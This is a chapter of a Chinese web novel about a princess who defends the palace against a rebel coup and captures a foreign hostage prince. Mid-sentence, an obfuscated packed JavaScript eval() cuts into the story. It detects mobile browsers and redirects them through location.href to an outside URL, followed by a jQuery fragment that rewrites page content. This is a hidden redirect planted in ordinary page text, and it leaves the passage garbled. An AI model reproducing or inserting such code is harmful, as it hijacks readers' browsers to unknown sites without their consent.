看来,大晟朝终究难逃此劫。
一切都是定数。
但她不信命!
就算是定数又如何?
燕翎陡然睁开双眼。
宫墙之上,她一身红色锦衣,长发高高束起,俯瞰着不远处宫墙外蔓延的混乱。
那双凤眸倒映着眼前的惨烈,却没有一丝慌乱。
“殿下……”侍卫秋霖匆匆而来,跪倒在地:“京卫营,全军投靠了雍王!他们打着清君侧的旗号逼近皇城,殿下,您快逃吧,只要找不到您,您就是安全的!”
燕翎的手指在栏杆上一瞬收紧,骨节泛白。
果然如她所料,京卫营投靠了雍王叛军!
京卫营负责京畿防卫,一旦倒戈,便意味着皇宫成为上京中一座孤岛。
可恶!
她一拳打在栏杆上。
她手下没有军队,各地驻军远水难救近火,而朝廷直属如今只剩下了皇宫禁军!
“文如琢在哪?”她声音冷如寒冰。
恰在此时,文如琢浑身是血,跌跌撞撞而来,看见燕翎,立时跪倒在地:“殿下,此处快失守了!您快逃吧,我派人护送您出宫!”
见燕翎只是盯着他瞧,他急了:“殿下,留得青山在不怕没柴烧……”
他话未说完,燕翎便径直走到他跟前,扫了眼他身上惨烈的伤势,向他伸手:“文如琢,我要禁军兵符。”
文如琢猛地抬头,撞见那一双坚毅的眸子里,一时竟心神震荡。
“你给是不给?”
文如琢垂下头,竟是绝对的臣服:“殿下,臣所属的禁军,本就是为了护卫您的,您要,给您又何妨?只是,敢问殿下,您讨要禁军,是要禁军护送您和陛下出宫吗?”
他道:“我会拼死护住东华门,让您有足够时间逃离。”
燕翎忍不住垂首,认真瞧了他一眼:“不必了,我要亲率禁军,平叛!”
燕翎话毕,就见文如琢没有丝毫犹豫,从袖中取出一枚青铜虎符,双手呈到燕翎面前:“臣愿追随殿下,护您安危!”
燕翎接过虎符,转身下了宫墙。
跪地的文如琢即刻起身,紧跟而上。
……
转眼暮色四沉。
东华门内,宫门紧闭,宫墙上厮杀一片。
燕翎一身红衣,穿行在混乱的战场,步伐沉稳,凤眸在火光中锐利如鹰。
文如琢在其身后,忍着重伤,还不忘警惕地护卫左右。
燕翎迅速扫过整个防御形势,却不由皱紧了眉头。
“文如琢,新任职的卫尉何在?”
先前的卫尉已被她入了昭狱,却不想新任职的新人竟如此不会谋算,将城防布局弄得简直一盘散沙。
文如琢闻言即刻领命,片刻后,便带着一名身着玄甲、满脸血污与汗水的年轻将领匆匆赶来。
武乘风身为值守东华门的卫尉,刚任职便遇上了叛乱大事,正打算一展身手。
他杀红了眼,对这位突然驾临的长公主并无太大敬意,只是草草行了一礼,语气急促带着不耐:“殿下,此处危险,您有何吩咐快说,末将还要去督战!”
这态度,让文如琢为他捏了把冷汗,他是当真忘了他前任是怎么被免职的了吗?
燕翎却并不甚在意他的不敬,目光冷静审视了一圈城墙防布,语速快而清晰:“武卫尉,如今的防御各自为战,漏洞百出。传令,立即将东面及北面城墙划为四个防区。你麾下四名郎将各领一区,全权负责区内防御,若失守,斩!另外,收紧兵力,将陛下的御龙卫调出,时刻待命。”
武乘风一愣,脸上随即尽是荒谬之色,嘲讽脱口而出:“殿下!您久居深宫,懂什么行军布阵?现在叛军攻势如潮,御龙卫乃一大助力,怎么能说调就调?这不是自乱阵脚?末将没空陪您玩过家家!”他转身欲走。
“站住!”燕翎的声音带着不容置疑的威压。
她将虎符高高举起,那枚虎符在火光下闪着冰冷的光泽:“见此虎符,如见陛下。武卫尉,你要抗旨不遵吗?”
武乘风的脚步被瞬间钉在原地,去看文如琢,脸上是惊愕、失望与不甘,但终究单膝跪地:“末将……遵旨!”
他不再多言,抱拳领命而去。
很快,御龙卫被抽调出来,但如燕翎所料,防御并没有失守。因为四大区域被明确划分,防御变得井然有序起来。
然而,三个时辰后终究抵挡不住了,北面宫墙传来巨大的喧嚣和喊杀声,竟是快要失守了!
武乘风脸色大变,更为懊恼。
却听燕翎轻叱一声:“御龙卫,随我迎敌!”
武乘风在瞬间明白过来长公主的用意。
如果御龙卫此时被分散,专注一处防御,北面若失守,便再无援军,他的部署正如公主所说,根本就漏洞百出,且险些酿成大祸!
不由得,他冷汗津津,一时心头剧震,想起自己方才的嘲讽,一时间,羞愧与叹服齐齐涌上心头。
这位大晟朝以嚣张跋扈出名的长公主,竟真的并非纸上谈兵!
眼看着长公主的红衣如一道燃烧的火焰,冲向战况最激烈的北宫墙缺口。
而北面缺口处,叛军如潮水般涌入。
但随着御龙卫的强势加入,战况逐渐扭转。
燕翎更是一马当先,冲向敌阵,手中长剑化作银龙,没有丝毫花俏,动作干净、利落地劈、刺、扫、撩!
剑光闪烁间,血花四溅,很快,冲在最前方的几名叛军精锐竟被她一个照面斩杀!
所过之处,如入无人之境!
御龙卫见长公主如此骁勇,士气大涨,怒吼着随她冲杀,硬生生又将叛军逼出了宫墙外一段距离。
文如琢的目光不由自主地追随着那道红色的身影,心中震撼无以复加。
看似娇弱的长公主,竟会有这样骁勇如杀神的一面!
再细看之下,他不由皱眉,长公主的剑术不像是普通路数,更像是经历过战场锤炼的杀人技,高效且致命!
为何会如此?
她,究竟有多少他不知道的样子?
没人注意到,东华门北城墙一处不起眼的存在,同样有一个人正望着这个方向。
他朝燕翎看了一眼,眸中眼含深邃,带着不知名的情绪。
随即,转身而去。
……
就在这时,一个穿着宫女服饰的娇小身影,竟跌跌撞撞穿越混乱的战场,朝着燕翎的方向跑来,是秋翠。
燕翎的贴身丫鬟。
“殿下!”秋翠急切呼喊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17014444|194181||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
一名叛军士兵见状,凶恶地挥刀砍向秋翠。
秋翠吓得闭上眼睛,浑身僵硬。
千钧一发之际,一道剑光掠过。
只听“铛”的一声,叛军的刀被挑飞,燕翎反手一剑,结果了那名士兵的性命。
“你来做什么?”
燕翎一把将惊魂未定的秋翠拉到身后,语气带着怒意,更多的是担忧,她怕秋翠如前世一般死去。
秋翠一哽,险些哭出来:“宫里乱了,您让我盯着的北靖质子,我去寻他,却发现他已不在冷宫。我害怕……便来了,我只想与殿下共生死!”泪水瞬间涌出,平时娇弱的人,此刻却无比倔强。
萧烬……
燕翎神色一肃,咬了咬牙,还是让他逃了不成?
可恶!
混战仍在继续,燕翎的目光锐利地扫过战场全局,却忽然定格。
只见一个穿着北靖质子服饰的男人,正被五六名叛军士兵围攻。
他手中握着不知从何处夺来的刀,浴血奋战,为自己划开一道求生路。
虽已然狼狈重伤,但那双眼,透着一股狼的凶狠与桀骜。
呵,想逃?
也不选个好点的突围口,正撞上她这里,看她好欺负吗?
燕翎已冲了过去,长剑如虹,精准而狠辣,几乎是一剑一个,迅速将围攻萧烬的士兵尽数斩杀。
天上适时飘下白雪,与地上的血迹融在一起,透着肃杀与血腥气。
她走进萧烬,居高临下看着萧烬。
只见他力竭之下,却仍以刀为柱,撑住身体,勉力倔强地让自己不倒下。
剧烈喘息之下,雪夜中吐出的雾都带着血的颜色。
他抬起头,就这样直直撞进了一双清冷、睥睨的凤眸中,那双眼仿佛能穿透所有。
而燕翎,也清晰地看到了萧烬眼中尚未完全收敛的、如野狼般凶狠中带着不屈与桀骜的目光。
完全与昨日宫中那个低眉顺眼、沉默寡言如羔羊般的人判若两人!
果然!
燕翎心中不由冷笑,这才是他的真面目!
一切委曲求全、隐忍低调,不过伪装。
两人目光直直交汇。
犹如无声的碰撞。
萧烬敛下眸中的凶狠,舔了舔干裂的嘴唇。
他再抬头去看燕翎,眼中已然不见了那股犀利,开口时,声音沙哑:“……多谢殿下,救命之恩!”
呵,虚伪!
燕翎唇角勾起一抹极淡、却意味深长的弧度。
“回宫!”
她高喊一声。
如今皇城已被守住,北面宫墙处,叛军自知不敌,也已退居二线。
虽仍被叛军围困,但叛军同样进入疲态,只待再商细则。
等镇南军!
或者,与雍王谈判!
燕翎不再去看被俘的萧烬,她坚毅的眸子望向皇宫中母后与皇弟所在的昭霖殿,心中一派坚定,举步大步离开。
萧烬看着燕翎离去,眼睁睁看着宫外的斜阳如血般浓重。
他仅仅犹豫了一瞬,便拖着伤体,快步跟上了燕翎的队伍后方。
他逃不掉了!
机会已失,无论如何,得先活下去,才能图谋以后。